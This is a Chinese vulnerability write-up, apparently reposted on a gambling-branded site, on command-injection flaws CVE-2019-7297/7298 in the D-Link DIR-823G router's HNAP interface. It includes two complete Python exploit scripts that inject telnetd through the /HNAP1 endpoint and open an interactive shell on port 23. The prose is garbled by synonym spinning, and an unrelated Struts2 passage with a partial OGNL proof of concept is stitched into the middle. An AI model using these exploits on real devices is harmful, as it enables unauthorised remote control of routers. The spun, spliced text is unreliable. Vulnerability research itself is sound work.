路由器破绽剖析系列(4):CVE-2019-7297 7298 D-Link DIR-823G 敕令注入破绽复现 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

路由器破绽剖析系列(4):CVE-2019-7297 7298 D-Link DIR-823G 敕令注入破绽复现

申博_安全预警 申博 212次浏览 已收录 0个评论

CVE-2019-7298

破绽道理

D-Link DIR 823G 1.02B03及之前的版本中存在敕令注入破绽,攻击者可经由过程发送带有shell元字符的特制/HNAP1要求应用该破绽实行恣意的操纵体系敕令。在HNAP API函数处置惩罚要求之前,system函数实行了不可托的敕令,触发该破绽。

破绽剖析

在每次内核启动以后将启动init历程,init历程的启动时依据/etc/inittab这个文件赖在差别运转级别启动响应的历程或实行响应的操纵。个中sysinit代表体系的初始化,只要体系开机或重新启动的时刻,背面对应的process才会实行一次。

::sysinit:/etc/init.d/rcS

在rcS中,先实行一些列mkdir和设置,实行了goahead

goahead 是一个开源的 web 效劳器,用户的定制性异常强。能够经由过程一些 goaheadapi定义 url处置惩罚函数和可供 asp 文件中挪用的函数,详细能够看看官方的代码示例和网上的一些教程。

goahead的websUrlHandlerDefine函数许可用户自定义差别url的处置惩罚函数:

websUrlHandlerDefine(T("/HNAP1"), NULL, 0, websHNAPHandler, 0);
websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);

以上代表/HNAP1的要求交给websHNAPHandler函数处置惩罚,/gofrom的要求交给websFormHandler函数处置惩罚,/cgi-bin的要求交websCgiHandler函数处置惩罚。这些处置惩罚函数有一致的参数:

int (*fn)(webs_t wp, char_t *url, char_t *path, char_t *query)
wp    Web server connection handle.  
url   Request URL.  
path  Request path portion of the URL.  
query Query string portion of the URL.

先相识/HNAP1要求的处置惩罚函数,在goahead中查找“HNAP1”字符串并经由过程xref定位处置惩罚函数sub_42383c

路由器破绽剖析系列(4):CVE-2019-7297 7298 D-Link DIR-823G 敕令注入破绽复现

sub_4238c重要经由过程遍历全局的函数表来处置惩罚HNAP1接收的差别要求。function_list中每一个元素的前四个字节为函数名,后四个字节为对应的函数地点。当找到在function_list中找到函数名与要求雷同的字符串时,向/var/hnaplog中纪录param_7的值,这个值但从汇编不太能看出,hackedbylh指出是post的报文,在运转过程当中检察/var/hnaplog能猜出来。以后挪用对应的函数地点处置惩罚相干要求。

这里不管处置惩罚要求的函数名是什么,在找到以后会经由过程snprintf输入字符且未做搜检,以后直接system实行,存在敕令注入破绽。假如post要求是’`/bin/telnetd`’,就会先开启telnet效劳器,再讲字符写入hnaplog。

浅谈struts2漏洞防护与绕过-中

S2-033 & S2-037 S2-033和s2-037的区别是,是否需要开启动态方法调用这两个漏洞产生的点差不多,只不过s2-033的点需要allowDynamicMethodCalls为TRUE,s2-037不需要,具体看下面分析 什么是REST呢 1. REST描述的是在网络中client和server的一种交互形式;REST本身不实用,实用的是如何设计 RESTful API(REST风格的网络接口);
2. Server提供的RESTful API中,URL中只使用名词来指定资源,原则上不使用动词。“资源”是REST架构或者说整个网络处理的核心。 poc #_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#xx=123,#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Ru

路由器破绽剖析系列(4):CVE-2019-7297 7298 D-Link DIR-823G 敕令注入破绽复现
路由器破绽剖析系列(4):CVE-2019-7297 7298 D-Link DIR-823G 敕令注入破绽复现
别的须要注重,post的数据要加上引号,因为echo ‘%s’ > /var/hnaplog中自身带了单引号,假如只是`/bin/telnet`,相当于

echo '`/bin/telnet`' > /var/hnaplog

因为敕令由引号括起,会当作字符串处置惩罚,不会实行敕令

echo ''`/bin/telnet`'' > /var/hnaplog

post中的两个引号离别与自带的两个引号组合,反引号没有嵌套在单引号中,会当作敕令实行。

破绽应用

import requests
from pwn import *

IP='192.168.0.1'
command ="'`/bin/telnetd`'"
length = len(command)

headers = requests.utils.default_headers()
headers["Content-Length"]=str(length)
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36"
headers["SOAPAction"] = '"http://purenetworks.com/HNAP1/Login"'#此处的Login能够替换为任安在function_list中的函数名
headers["Content-Type"] = "text/xml; charset=UTF-8"
headers["Accept"]="*/*"
headers["Accept-Encoding"]="gzip, deflate"
headers["Accept-Language"]="zh-CN,zh;q=0.9,en;q=0.8"


payload = command
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)
print r.text

p=remote(IP,23)
p.interactive()

CVE-2019-7297破绽道理

破绽道理

D-Link DIR 823G 1.02B03及之前的版本中存在敕令注入破绽,攻击者可经由过程发送带有shell元字符的特制/HNAP1要求应用该破绽实行恣意的操纵体系敕令。GetNetworkTomographyResult函数中挪用system函数,实行的内容中包含不受信托的用户输入Address字段,攻击者能够长途实行恣意敕令。

破绽剖析

破绽道理中提到的GetNetworkTomographyResult函数是在goahead二进制文件中完成的。在function_list中找到对应的函数地点。

GetNetworkTomographyResult猎取address,number,size参数,作为ping的参数。

路由器破绽剖析系列(4):CVE-2019-7297 7298 D-Link DIR-823G 敕令注入破绽复现

ping address -c number -w number -s size > /tmp/ping.txt 2>>/tmp/ping.txt

但在system之前并没有对这些外来参数举行搜检,假如address为;telnetd;就可以启动Telnet效劳。能够看出这些参数都是经由过程apmib_get猎取的,那末在之前一定有apmib_set举行设置,在IDA中查找关键字0x1b72,0x1b73,0x1b73,定位到apmib_set的位置,连系ghidra的反汇编代码,确定在SetNetworkTomographySettings函数中能够对这些参数举行设置。

路由器破绽剖析系列(4):CVE-2019-7297 7298 D-Link DIR-823G 敕令注入破绽复现

破绽应用

import requests
from pwn import *

IP='192.168.0.1'

headers = requests.utils.default_headers()
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36"
headers["SOAPAction"] = '"http://purenetworks.com/HNAP1/SetNetworkTomographySettings"'
headers["Content-Type"] = "text/xml; charset=UTF-8"
headers["Accept"]="*/*"
headers["Accept-Encoding"]="gzip, deflate"
headers["Accept-Language"]="zh-CN,zh;q=0.9,en;q=0.8"


payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">\
  <soap:Body>\
    <SetNetworkTomographySettings xmlns="http://purenetworks.com/HNAP1/">\
      <Address>;telnetd;</Address>\
      <Number>4<Number>\
          <Size>4</Size>\
     </SetNetworkTomographySettings></soap:Body></soap:Envelope>'
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)
print r.text

headers["SOAPAction"] = '"http://purenetworks.com/HNAP1/GetNetworkTomographyResult"'
payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">\
  <soap:Body>\
    <GetNetworkTomographyResult xmlns="http://purenetworks.com/HNAP1/">\
     </GetNetworkTomographyResult></soap:Body></soap:Envelope>'
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)
print r.text

p=remote(IP,23)
p.interactive()


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明路由器破绽剖析系列(4):CVE-2019-7297 7298 D-Link DIR-823G 敕令注入破绽复现
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址